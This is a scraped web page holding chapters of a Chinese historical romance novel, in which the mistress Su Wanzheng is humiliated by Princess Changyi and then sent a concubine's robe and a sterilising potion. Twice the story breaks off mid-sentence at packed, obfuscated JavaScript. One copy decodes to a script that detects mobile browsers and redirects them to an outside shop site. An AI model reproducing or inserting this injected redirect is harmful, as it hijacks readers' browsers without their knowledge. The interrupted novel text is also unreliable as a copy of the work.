这时,一个丫鬟快速走到房嬷嬷身边,在房嬷嬷耳边说了几句,房嬷嬷顿时满眼精光,让丫鬟退下后,连忙朝谢老夫人禀报:“老夫人,正言带了个人从后门进来,现在去了楠院。” “什么人?”谢老夫人看向房嬷嬷,若是一般人,她不会如此激动,除非…… 房嬷嬷弓着身回道:“下人说来人穿着披风,看不出面貌,可看身形是个女子,应该就是小侯爷养在外边的那位。” 一个没有名分的外室女竟然敢进侯府,谢老夫人嘴角扬起一抹轻蔑的弧度。 房嬷嬷低声询问:“老夫人,咱们要不要禀报给老太君?” 谢老夫人若有所思:“不必,你派人盯着,等她出来后,你找人悄悄跟上,郡主可是很想知道他把人藏在哪里。” 房嬷嬷应道:“是。” * 楠院。 送走太医的正律把房门关上,一脸郁闷看向谢今淮:“公子,您怎么能把虎符交上去啊!” 谢今淮黑眸微眯,绽出锋利的寒芒,淡漠道:“虎符于我而言,不过烫手山芋,今日之事,更便于我把虎符还回去。” 他已掌控谢家军,若是一直将虎符拿在手中,才是将整个谢家置于危地。圣上赐虎符时,他再三言拒,却抵不过圣上执意如此。他也大概能猜到圣上为何如此,这上京早已风起云涌,圣上不过是想用钓鱼之法,看看有哪些鱼会上钩,而他连同谢家就是圣上手中的饵。 正律跟随谢今淮已久,当下也明白了谢今淮的做法。 可心底不由暗想,难道公子封锁城门也是为了方便交出虎符,那……找姑娘呢? 正律不知不觉把心中的猜想说了出来,谢今淮目光极淡:“一个有把柄的臣子,圣上才用的放心。” 而这个把柄是他亲自递给圣上的。 正律心惊,同时又被公子的聪明才智折服。 原来一切都在公子的掌控之中,他原先还担心公子为美色所迷,这下终于可以放心了。 “原来姑娘也是公子手中的一枚棋子。” 谢今淮瞥了眼正律,正律猛地闭上嘴巴。 门外正准备敲门的苏挽筝听到这句话动作猛顿,倏然间一股森寒蔓延到四肢百骸。 她……只是一颗棋子? 20. 真相 屋内,谢今淮听到除正律之外第三人的呼吸声,幽深的眸子警觉地看向门口:“谁?” 正律一凛,转身去开门,看到穿着黑色披风的苏挽筝,此时她唇上没有半点血色,如羊脂玉般的肌肤在昏黄的烛火下越显苍白。 “姑娘怎么来了?”正律没有想到会是姑娘,说话的声音都不自觉带上一丝讶色,意识到自己话中的错意,连忙改正道,“不是,我的意思是没想到姑娘会来。” 谢今淮也没想到是她,呼吸一顿。 而后听到她清冷又透着沙哑的声音,“我过来看看他,没人看到我,正言守在院门口。” 正律忙把路让开,请她进来:“姑娘快进来。” 苏挽筝却没有动,想起刚刚正律说的那句话,心上传来钝钝的痛楚。 她没有听到太多,甚至不太明白谢今淮到底做了什么,但“棋子”这二字她太明白了。 她今夜本不该来的,可听到问芙说他被圣上降罪,又挨了打,到底还是担心他的箭伤,这才忍不住让正言带她过来一趟,她知道自己的身份难为正言了,想着等会儿遭罚,她会一力承担,正言却让她不用担心,说小侯爷一定期盼着她过去。 谢今淮期不期盼,她不知道。 她只知道她后悔了。 倘若没来,她就不会听到这话了。 她想转身就走,可正律没有给她这个机会,她只能强压着无法言说的苦涩,抬脚进门。 而正律顺势退出房间,还把房门关上了。 进屋后,苏挽筝把头顶的披风连帽摘了下来,露出莹白美艳的脸庞,朝床榻上的谢今淮望去,只见他脸色苍白,嘴角却噙着分明的笑意。 “阿筝。”谢今淮凝注着她,眉宇间光华流转闪烁着柔情暗蕴,“过来。” 他一动不动地靠着,似是静静地等着她走到跟前。 苏挽筝眸光微敛,缓步过去。 刚抵到床前,谢今淮微微直起身,拉过她的手,把她拉到床沿上坐下。 苏挽筝注意到他手上不同于常人的温度,又看向他的肩膀,透着素白色的寝衣可以看到里面包扎的白布,似是还有殷红的血块,他的脸色也比之前苍白许多。 她迟疑着问:“你的伤……还好吗?” 闻言,谢今淮清冷的眸子翻涌起无数柔情,“担心我?” 苏挽筝默不作声。 谢今淮唇角微勾,道:“我还死不了。” 说着,他单手勾住她的后颈,把她缓缓扣向他,手指轻轻摩擦着她的后颈,一股难掩的情愫从他眸间划过,“阿筝,别多想,你一直都是我最珍视的女人。” 他知道她听到了正律的话,所以才出言安抚。 苏挽筝长而密的睫羽微微下垂着,眸底掠过一抹嘲讽。 她都能成为棋子,自然珍视了。 突然,一道阴影逼近自己,她下意识闭眼,一个温柔怜爱的吻落在了她的眼尾。她眼皮轻轻颤动了两下,等那股温热的气息离得稍微远些,她才缓缓睁眼看向谢今淮。 这算什么? 打一巴掌给一颗红枣吗? 可她最不喜的便是红枣。 谢今淮松开扣住她后颈的手,身子缓缓往后靠着,稍稍动作过大,肩膀处就传来一阵撕心裂肺的疼痛,然而他没有表露出来,只是静静地望着苏挽筝。 “你今夜能来,我很高兴。”说着,他的视线落在她的红唇上,清冷的眸子暗了暗,只是现在不是时候,他继续道,“但侯府现在还不是你久留之地,我让正言正律送你回云庄。” 单是正言护送,他已经不放心了。 想起这次暗杀,谢今淮眼底泛起一阵暗涌。 苏挽筝眸色微触,她也不想久留,于是应了声:“好。” * 翌日,云庄迎来了一位不速之客。 昌颐郡主看着把守云庄门口拒不相让的侍卫,嚣张跋扈道:“你竟敢拦本郡主,你可知道本郡主是谁?” 侍卫无动于衷,昌颐郡主的侍女斥道:“你好大的胆子,我们郡主马上就要嫁给小侯爷,以后就是谢侯夫人,也是你的主子,难道这还不能进?” 侍卫脸色微微一变,面露犹豫之色。 昌颐郡主见有效果,嘴角高高扬起:“还不快让开!” 这时,正言从里面走了出来,面不改色对昌颐郡主说:“郡主息怒,公子有令没有他的命令,任何人都不准进入。” 昌颐郡主看到正言的那瞬间,脸色骤然一变,她见过正言,知道他是阿淮哥哥身边的贴身侍卫,没想到阿淮哥哥竟然连贴身侍卫都给了那个贱女人! 昌颐郡主姣好的面容沉了下来,气急败坏道:“如果本郡主今日一定要见里面的女人呢!” 她好不容易才得到消息说这个贱人在云庄,马不停蹄就赶了过来,没见到人,怎么可能轻易离开。 正言没有退让:“那就请郡主踏过在下的尸首。” 昌颐郡主神色越发难看,瞥了眼自己身后的王府侍卫,今日她一定要见到人。 王府侍卫得到示意,齐齐上前拔刀相见。 眼看着场面不可控,问芙走来对正言说:“让郡主进来吧,姑娘也想见见郡主。” 正言眉头紧蹙,这显然违背了公子的命令。 问芙见正言榆木脑袋不开窍,压低声音道:“你现在闹开,将来姑娘会更难做。” 正言想到昌颐郡主特殊的身份,只能示意身后的守卫把路让开,昌颐郡主这才大摇大摆走了进去,偏僻地带的别庄素来孤寂阴沉,然而云庄却生机勃勃,看起来宛如世外桃源。 云庄越好,昌颐郡主心底的怒意更甚。 信南王府发动所有的势力找这个贱人,查遍了阿淮哥哥名下,甚至是谢侯府名下所有人的庄子,可她万万没想到阿淮哥哥会把人藏到废弃的皇室别庄,这是数年前圣上赐给谢侯府那位谢贵妃娘娘的,时至今日已有数十年光景,难怪她们怎么查都查不到。 等她被问芙带到后院,便见到背对着她,站在鱼池旁喂鱼的女人。 苏挽筝听到身后传来的脚步声,把手中的鱼食扔入鱼池中,转身看向突然造访的昌颐郡主,面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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就如同信南王府曾经的姬姨娘一样,父王曾经那么爱她,对她近乎专宠,可最后呢,姬姨娘伤了脸,毁了身子,父王便厌弃了她,把她扔在院子里自生自灭。 苏挽筝瞬间就明白了昌颐郡主话中的深意,还有什么比眼睁睁看着自己心爱的男人一步步厌弃自己来得更绝望。 这一招真狠啊。 不愧是信南王府出来的郡主。 哪怕她再不愿承认,也不得不承认,她始终都爱着谢今淮。 因为爱,所以想成为他的唯一,但所有人都觉得她不配,哪怕是他也是这样觉得。 单是想着他另娶,她就已经痛彻心扉。 日后让她眼睁睁看着谢今淮爱上别人,她已经觉得自己无法呼吸了。 昌颐郡主继续道:“而且我不会让你生下阿淮哥哥的孩子,所以你就趁早死了当母亲的心吧,我要你看着我生下阿淮哥哥的孩子,看着我们一家三口快快乐乐的。” 想到这里,昌颐郡主眉眼间都洋溢着幸福,让她整张脸显得不那么狰狞。 却让苏挽筝觉得浑身发冷。 她的双手在无人窥探的袖口中微微颤抖,笑容极为惨白道:“郡主说完了吗?” 昌颐郡主见苏挽筝脸色煞白,整个身子都好似摇摇欲坠,她满意勾唇,不介意再扔下一个惊雷,“你说你能猜到北荒山刺杀是我安排的,那阿淮哥哥猜不猜得到呢?” 苏挽筝全身一震。 最不愿面对的真相,却再次被昌颐郡主撕开,血淋淋地在她面前摊开。 21. 汤药 苏挽筝的心渐渐冷去,唇上本就没有半点血色,如今更是越显惨白。 然而昌颐郡主尤觉不够,还要往血淋淋的伤口撒上一把盐。 “阿淮哥哥那么聪明,他肯定猜得到对不对。”昌颐郡主笑得一脸肆意,“可他还是要娶我,你可知这意味着什么?” 苏挽筝细密纤长的羽睫轻轻颤动着,整个人仿佛被凉水从头淋到尾。 这意味着……在他心底压根就不在意她吧。 昌颐郡主走后,苏挽筝依旧站在鱼池旁,脑海中突然想起那夜谢今淮对那支短箭异常在意,他是不是早就认出那支短箭是信南王府的,知道是昌颐郡主要杀她? 可他却连提都没提一下。 她眼底的光亮仿佛一瞬间湮灭了,空洞的目光落在自由自在游动的鱼儿身上。 回顾她的半生,一出生便不被父亲期待,幼年光想着填饱肚子。被赶出上京后,虽过得凄苦,却不用再担心被人欺负辱骂,更不用担心被继母当作玩丨物随意卖掉。 原以为日子会慢慢好起来,谁料却凄惨至此。 她曾想自己从未害过任何人,为何会落得如此? 后来想想,也许有些人,出生便是原罪。 她这辈子就像是一场笑话。 谢侯府,楠院书房。 “公子所料不差,北荒山刺杀姑娘的,的确是信南王府的人。”正律把调查的结果向谢今淮禀报,其实背后凶手很容易猜到,但就算查到,也无济于事,把此事引到“情杀”上,他们反而不占理。 谢今淮脸色略显苍白,带着几分难以掩饰的病态靠在座椅上,黑沉的眸色像深邃锐利的刀锋,一闪而过的戾气令人生畏。 那支短箭果然是出自信南王府。 正律犹豫着说:“公子,既然是信南王府的人,那肯定是昌颐郡主在背后指使。圣上还未赐婚,您……还要娶郡主吗?” 倘若任由昌颐郡主嫁入侯府,那姑娘恐怕就危险了。相较于嚣张跋扈的昌颐郡主,他自然更加偏向于姑娘,只是姑娘身份低微,终究做不得谢侯夫人。 谢今淮薄唇微抿,低低地咳嗽了两声,说:“赐婚之事,不会变。” 也不需要变。 正律正待询问,突然传来敲门声,他开门让侍卫进来,侍卫把昌颐郡主进云庄的事情说了一遍。 正律眉头微动,疑惑道:“昌颐郡主怎么会知道姑娘在云庄?” 要知道云庄位置极为隐秘,满府上下除去他们,也唯有老太君知道,而他们和老太君是不可能暴露姑娘的位置,倏然间,他想到昨夜姑娘昨夜进府,虽然隐秘,但就怕有心人看到。 而谢今淮在听到苏挽筝自昌颐郡主离开后一天未进食后,脸色微沉。 正律知道姑娘对公子意味着什么,踌躇道:“公子要不要去看云庄看看?” 尽管不知道昌颐郡主到底说了什么,但能让姑娘如此,定然不是什么好话。 谢今淮漫不经心掀了掀眼皮,扫了眼正律,低沉的声音带着一丝不耐烦,“不必。” 他已经跟她说过了,他会保护好她。她只要信他,便好。 再者,他现在也不便出府,否则她只会更麻烦。 他神色微冷,沉沉吩咐道:“让正言守好云庄,别再让任何人进去。” 正律顿了顿,应道:“是。” “慢着。”正律正要出去,谢今淮突然开口叫住他。 正律脚步一顿,回身看向公子,只见公子脸上露出一股无奈之色。 “‘倾绣坊’的嫁衣做好后,挑个时间让青嬷嬷送去云庄。” 正律忽而想到数月前公子吩咐‘倾绣坊’做的嫁衣,那是公子亲自下笔构图的嫁衣,历经数月,耗费了倾绣坊多少绣娘的心血才成,而现在这件嫁衣终于要迎来它的主人了。 寂凉的深夜,淅淅沥沥地下起大雨。滚滚惊雷响起,吵得人心难眠。 也把苏挽筝从噩梦吵醒了,只见她脸色煞白,浑身冒着冷汗,无助地揪住胸前单薄的寝衣,一次次想要平息着涌上心口的恐慌。 外面守夜的问芙许是听到动静,推开房门走了进来,见她面色凄凉,好似被打碎的玉瓷,僵硬坐在床榻上。 问芙连忙倒了杯温水,端过来递给她:“姑娘。” 苏挽筝接过水杯,却发现自己的双手还不停在发抖。 问芙连忙握住苏挽筝的双手,安抚道:“姑娘别怕,奴婢在这儿陪着姑娘。” “问芙,我刚做了个梦。”苏挽筝沙哑的声音带着无助,也带着惊慌,“我梦见我怀孕了,昌颐郡主给我灌下堕胎药,然后我就不停的流血,好多好多的血……” 问芙鼻子一酸,连声说:“姑娘,那是做梦,那都是假的。” 苏挽筝眼泪瞬间盈满眼眶,一滴滴滑落,苍白的脸没有一点儿血色,声音凄绝道:“不是假的,如果我还留在阿砚身边,只要我怀孕了,昌颐郡主肯定不会放过我。” 她无助地抓住问芙的手,道:“问芙,我好怕,我真的好怕。” 问芙只能不断地安抚着苏挽筝,自从白日里昌颐郡主来了后,姑娘神色就不对,她派人去告诉小侯爷,可小侯爷至今也没来云庄,她难得对小侯爷生出几分不满。 “姑娘别怕,昌颐郡主不敢对姑娘下手的,小侯爷要是知道了,肯定不会放过她,所以不管她和您说了什么,您都不要相信,她肯定是来挑拨离间的。”问芙信誓旦旦道,“姑娘要相信小侯爷,小侯爷绝不会不管您的。” 闻言,苏挽筝想笑,可眼泪却不停流下。 所有人都知道她在谢今淮心中的份量很重,可她怎么就感觉不到呢? “你不懂。”苏挽筝近乎绝望地把北荒山刺杀的事情说了出来,她红红的眼眶泛起一层又一层的泪光,盈盈地看向问芙,“倘若有一天我和昌颐郡主对上了,你觉得你家小侯爷会因为我而得罪信南王府吗?” 问芙第一次见姑娘好似破碎的玩偶般,满脸梨花带泪,伤心得惹人怜爱。 她没想到昌颐郡主这么狠辣,更没想到小侯爷知道后却没有管。听了姑娘的问话,她神色微僵,昌颐郡主是圣上亲封的郡主,是信南王最宠爱的女儿,而姑娘身份卑微,哪里及得上尊贵无比的郡主。 问芙没由来的一阵心酸,艰难开口道:“姑娘,小侯爷不是负心之人。” 苏挽筝仿佛被什么哽住了喉咙,苦涩笑了笑:“……也许吧。” 但如果她从未在他心上呢? 她赌输一次,已经万劫不复了。 不敢再去赌第二次了。 * 自那夜大雨过后,连续下了半个月的细雨,今日好不容易天晴,日照仿佛一层柔软的轻纱缓缓落在院内。 然而云庄迎来的不单单是天晴,还有圣上的赐婚旨意。 谢侯府和信南王府传的沸沸扬扬的婚事今日终于定了下来,圣上亲自赐婚谢小侯爷谢今淮和昌颐郡主萧馨月结秦晋之好,于两个月后成婚。 苏挽筝听到消息后,面色极为平静,好似早已知道这个结果不会改变,只是她没想到谢侯府竟然会派人来。 问芙跟着姑娘去前厅,路上跟姑娘说:“姑娘,来人是楠院的青嬷嬷,也是自公子回府后,被老太君派到公子身边一直照顾公子的嬷嬷,平时是她在为小侯爷管理楠院,很得小侯爷看重,她本人极其重规矩。” 苏挽筝默默记下,刚到前厅就看到青嬷嬷带着两个侍女立在那儿,青嬷嬷年逾六旬,头发花白,面上布满沧桑的皱纹,双眼却精明有神,生得富态庄严。 问芙见到青嬷嬷,全身一颤,屈膝行礼唤道:“青嬷嬷。” 苏挽筝见礼:“见过青嬷嬷。” 青嬷嬷看向苏挽筝,在未见其人时,她对其已有几分不喜,如今见她面色如玉,姿容绝世,有着一股摄人心魄的妖艳之色,更是不喜。 难怪能勾得小侯爷不顾规矩,也要纳她进府。 这样的人,进了侯府恐怕也只会引得家宅不宁。 可既然小侯爷喜欢,那当作消遣的小妾养着也不是不可以。 苏挽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12753958|134555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 筝自然感觉到青嬷嬷用挑剔又嫌弃的目光扫视了她一圈,她眸光微敛,不甚在意。 青嬷嬷看向一旁的侍女,侍女端着托盘缓缓上前。 青嬷嬷掀开托盘上盖着的红布,“苏姑娘,我奉小侯爷之命来给你送嫁衣。” 听到嫁衣,苏挽筝眉梢微动。 倏然间,想起当初那个简陋的婚礼,她没有多余的钱去买嫁衣,只能用简单的红裙当作嫁衣,他看出她眼中的遗憾,承诺以后会给她做一身嫁衣补偿她。 红布掀开,栩栩如生的嫁衣展露了出来,哪怕是见多识广的众人也从未见过如此精致的嫁衣,上面的鸳鸯用金丝绣制而成,不单单是鸳鸯,嫁衣的衣领各处都是用金丝绣制,单看便知价值不菲。 只是,唯一不足的便是这身嫁衣并非正红色,而是桃粉色。 苏挽筝藏在袖口下的手微微握紧,这就是他的补偿啊。 青嬷嬷说:“虽说你已经算是小侯爷的妾室,但终究没有进门,没有给主母敬茶,待日后昌颐郡主进府,小侯爷便会让你进门,这身桃粉色的嫁衣便是你进门之日可以穿的。” 说着,又用严肃不屑的语气强调道:“不过我也事先告诫你一声,以后都要避免穿正红色的衣服,自古以来妾室只能穿桃粉或者桃红色的衣服,这是规矩!” 听着青嬷嬷极度不屑的告诫声,苏挽筝唇角微微弯起,露出一个苦涩的轻笑。 “是,我记住了。” 青嬷嬷不满地看了眼苏挽筝,冷冷道:“还有,以后见到主母或者各位夫人,你都要自称奴婢,妾室永远都是正室夫人的奴婢。” 苏挽筝心底的苦涩好似渗透进她的骨血内,悄悄浸蚀着她的心。 在苏府,她是主子,却活得连奴婢都不如。 进了侯府,她更是名义上奴婢,做着最令人看不起的姬妾。 可她明明不是妾啊。 却只能被逼着为妾为奴! 青嬷嬷见苏挽筝不吭声,精致的眉眼间似乎还带着一抹倔强,她冷漠地笑了下说:“既然做妾了,就不用再妄动那些不该动的心思,以前我不知道你和小侯爷是如何相处的,以后你给我收起你那套,安安分分做你的姨娘,咱们侯府是不会亏待你的。” 问芙看了眼青嬷嬷,眉头紧蹙,忍不住上前道:“青嬷嬷,姑娘不是……” 没等问芙说完,青嬷嬷抬手就给了问芙一巴掌,“闭嘴!谁让你插嘴,你的规矩都学到狗肚子里去了,还是以为自己跟了个得宠的主子,就可以在我面前耀武扬威!” 后面这句意有所指的话,自然是冲着苏挽筝去的。 “问芙。”苏挽筝担忧地看向问芙。 问芙捂着被打肿的脸,冲着苏挽筝摇了摇头,示意自己没事。 苏挽筝看向青嬷嬷,沉声道:“你怎么能随意打人,问芙是我的人!” 青嬷嬷不屑笑道:“苏姑娘错了,问芙是谢侯府的奴婢,而你还未进谢侯府,还不是苏姨娘,问芙也还不是你的人,既然是谢侯府的奴婢,那我自然能打,待苏姑娘成了苏姨娘再来教训我也不迟!” 苏挽筝脸色微变。 是啊,她说得没错,问芙是谢侯府的人,而她还没资格说问芙是她的人。 别说现在她护不了,纵使进了谢侯府,她身份依旧卑微,怎么可能护得住问芙。 “好了,我也不跟苏姑娘说这些杂事了。”青嬷嬷看向另一个侍女,侍女手里也端着一个托盘,上面放着一个盛满药的碗,她端起药碗递给苏挽筝,“请苏姑娘喝了这碗药。” 药未近,已经闻到刺鼻的味道。 苏挽筝眸底微动,问:“这是什么药?” 青嬷嬷露齿一笑,脸上的皱纹都堆积到一起,显得和蔼,可说出的话却令人遍体生寒。 “这是上好的绝子汤,苏姑娘可不要辜负小侯爷的一番心意。” 苏挽筝如遭雷击,全身一僵。 绝子汤!没想到她连他的孩子,也不配有…… 谢今淮,你根本不爱我,对不对?